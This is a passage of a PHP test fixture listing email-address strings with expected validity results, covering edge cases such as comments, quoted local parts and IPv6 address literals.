['payload' => 'first(abc.def).last@iana.org', 'expected' => false], // [179] true),
['payload' => 'first(a"bc.def).last@iana.org', 'expected' => false], // [180] true),
['payload' => 'first.(")middle.last(")@iana.org', 'expected' => false], // [181] true),
['payload' => 'first(abc("def".ghi).mno)middle(abc("def".ghi).mno).last@(abc("def".ghi).mno)example(abc("def".ghi).mno).(abc("def".ghi).mno)com(abc("def".ghi).mno)', 'expected' => false],
['payload' => 'first(abc\(def)@iana.org', 'expected' => false], // [183] true),
['payload' => 'first.last@x(1234567890123456789012345678901234567890123456789012345678901234567890).com', 'expected' => false], // [184] true),
['payload' => 'a(a(b(c)d(e(f))g)h(i)j)@iana.org', 'expected' => false], // [185] true),
['payload' => 'a(a(b(c)d(e(f))g)(h(i)j)@iana.org', 'expected' => false],
['payload' => 'name.lastname@domain.com', 'expected' => true],
['payload' => '.@', 'expected' => false],
['payload' => 'a@b', 'expected' => false], // [189] true),
['payload' => '@bar.com', 'expected' => false],
['payload' => '@@bar.com', 'expected' => false],
['payload' => 'a@bar.com', 'expected' => true],
['payload' => 'aaa.com', 'expected' => false],
['payload' => 'aaa@.com', 'expected' => false],
['payload' => 'aaa@.123', 'expected' => false],
['payload' => 'aaa@[123.123.123.123]', 'expected' => true],
['payload' => 'aaa@[123.123.123.123]a', 'expected' => false],
['payload' => 'aaa@[123.123.123.333]', 'expected' => false],
['payload' => 'a@bar.com.', 'expected' => false],
['payload' => 'a@bar', 'expected' => false], // [200] true),
['payload' => 'a-b@bar.com', 'expected' => true],
['payload' => '+@b.c', 'expected' => true],
['payload' => '+@b.com', 'expected' => true],
['payload' => 'a@-b.com', 'expected' => false],
['payload' => 'a@b-.com', 'expected' => false],
['payload' => '-@..com', 'expected' => false],
['payload' => '-@a..com', 'expected' => false],
['payload' => 'a@b.co-foo.uk', 'expected' => true],
['payload' => '"hello my name is"@stutter.com', 'expected' => false], // [209] true),
['payload' => '"Test \"Fail\" Ing"@iana.org', 'expected' => false], // [210] true),
['payload' => 'valid@about.museum', 'expected' => true],
['payload' => 'invalid@about.museum-', 'expected' => false],
['payload' => 'shaitan@my-domain.thisisminekthx', 'expected' => true],
['payload' => 'test@...........com', 'expected' => false],
['payload' => 'foobar@192.168.0.1', 'expected' => false], // [215] true),
['payload' => '"Joe\\Blow"@iana.org', 'expected' => true],
['payload' => 'Invalid \&#10; Folding \&#10; Whitespace@iana.org', 'expected' => false],
['payload' => 'HM2Kinsists@(that comments are allowed)this.is.ok', 'expected' => false], // [218] true),
['payload' => 'user%uucp!path@berkeley.edu', 'expected' => true],
['payload' => '"first(last)"@iana.org', 'expected' => true],
['payload' => ' &#13;&#10; (&#13;&#10; x &#13;&#10; ) &#13;&#10; first&#13;&#10; ( &#13;&#10; x&#13;&#10; ) &#13;&#10; .&#13;&#10; ( &#13;&#10; x) &#13;&#10; last &#13;&#10; ( x &#13;&#10; ) &#13;&#10; @iana.org', 'expected' => false], // [221] true),
['payload' => 'first.last @iana.org', 'expected' => false], // [222] true),
['payload' => 'test. &#13;&#10; &#13;&#10; obs@syntax.com', 'expected' => false], // [223] true),
['payload' => 'test.&#13;&#10;&#13;&#10; obs@syntax.com', 'expected' => false],
['payload' => '"Unicode NULL \␀"@char.com', 'expected' => false], // [225] true),
['payload' => '"Unicode NULL ␀"@char.com', 'expected' => false],
['payload' => 'Unicode NULL \␀@char.com', 'expected' => false],
['payload' => 'cdburgess+!#$%&\'*-/=?+_{}|~test@gmail.com', 'expected' => true],
['payload' => 'first.last@[IPv6:::a2:a3:a4:b1:b2:b3:b4]', 'expected' => false], // [229] true),
['payload' => 'first.last@[IPv6:a1:a2:a3:a4:b1:b2:b3::]', 'expected' => false], // [230] true),
['payload' => 'first.last@[IPv6::]', 'expected' => false],
['payload' => 'first.last@[IPv6:::]', 'expected' => true],
['payload' => 'first.last@[IPv6::::]', 'expected' => false],
['payload' => 'first.last@[IPv6::b4]', 'expected' => false],
['payload' => 'first.last@[IPv6:::b4]', 'expected' => true],
['payload' => 'first.last@[IPv6::::b4]', 'expected' => false],
['payload' => 'first.last@[IPv6::b3:b4]', 'expected' => false],
['payload' => 'first.last@[IPv6:::b3:b4]', 'expected' => true],
['payload' => 'first.last@[IPv6::::b3:b4]', 'expected' => false],
['payload' => 'first.last@[IPv6:a1::b4]', 'expected' => true],
['payload' => 'first.last@[IPv6:a1:::b4]', 'expected' => false],
['payload' => 'first.last@[IPv6:a1:]', 'expected' => false],
['payload' => 'first.last@[IPv6:a1::]', 'expected' => true],
['payload' => 'first.last@[IPv6:a1:::]', 'expected' => false],
['payload' => 'first.last@[IPv6:a1:a2:]', 'expected' => false],
['payload' => 'first.last@[IPv6:a1:a2::]', 'expected' => true],
['payload' => 'first.last@[IPv6:a1:a2:::]', 'expected' => false],
['payload' => 'first.last@[IPv6:0123:4567:89ab:cdef::]', 'expected' => true],
['payload' => 'first.last@[IPv6:0123:4567:89ab:CDEF::]', 'expected' => true],
['payload' => 'first.last@[IPv6:::a3:a4:b1:ffff:11.22.33.44]', 'expected' => true],
['payload' => 'first.last@[IPv6:::a2:a3:a4:b1:ffff:11.22.33.44]', 'expected' => false], // [251] true),
['payload' => 'first.last@[IPv6:a1:a2:a3:a4::11.22.33.44]', 'expected' => true],
['payload' => 'first.last@[IPv6:a1:a2:a3:a4:b1::11.22.33.44]', 'expected' => false], // [253] true),
['payload' => 'first.last@[IPv6::11.22.33.44]', 'expected' => false],
['payload' => 'first.last@[IPv6::::11.22.33.44]', 'expected' => false],
['payload' => 'first.last@[IPv6:a1:11.22.33.44]', 'expected' => false],
['payload' => 'first.last@[IPv6:a1::11.22.33.44]', 'expected' => true],
['payload' => 'first.last@[IPv6:a1:::11.22.33.44]', 'expected' => false],
['payload' => 'first.last@[IPv6:a1:a2::11.22.33.44]', 'expected' => true],
['payload' => 'first.last@[IPv6:a1:a2:::11.22.33.44]', 'expected' => false],
['payload' => 'first.last@[IPv6:0123:4567:89ab:cdef::11.22.33.44]', 'expected' => true],
['payload' => 'first.last@[IPv6:0123:4567:89ab:cdef::11.22.33.xx]', 'expected' => false],
['payload' => 'first.last@[IPv6:0123:4567:89ab:CDEF::11.22.33.44]', 'expected' => true],
['payload' => 'first.last@[IPv6:0123:4567:89ab:CDEFF::11.22.33.44]', 'expected' => false],
['payload' => 'first.last@[IPv6:a1::a4:b1::b4:11.22.33.44]', 'expected' => false],
['payload' => 'first.last@[IPv6:a1::11.22.33]', 'expected' => false],
['payload' => 'first.last@[IPv6:a1::11.22.33.44.55]', 'expected' => false],
['payload' => 'first.last@[IPv6:a1::b211.22.33.44]', 'expected' => false],
['payload' => 'first.last@[IPv6:a1::b2:11.22.33.44]', 'expected' => true],
['payload' => 'first.last@[IPv6:a1::b2::11.22.33.44]', 'expected' => false],
['payload' => 'first.last@[IPv6:a1::b3:]', 'expected' => false],
['payload' => 'first.last@[IPv6::a2::b4]', 'expected' => false],
['payload' => 'first.last@[IPv6:a1:a2:a3:a4:b1:b2:b3:]', 'expected' => false],
['payload' => 'first.last@[IPv6::a2:a3:a4:b1:b2:b3:b4]', 'expected' => false],
['payload' => 'first.last@[IPv6:a1:a2:a3:a4::b1:b2:b3:b4]', 'expected' => false],
['payload' => 'test@test.com', 'expected' => true],
['payload' => 'test@example.com&#10;', 'expected' => false],
['payload' => 'test@xn--example.com', 'expected' => true],
['payload' => 'test@Bücher.ch', 'expected' => false] // [279] true)
];

Some files were not shown because too many files have changed in this diff Show more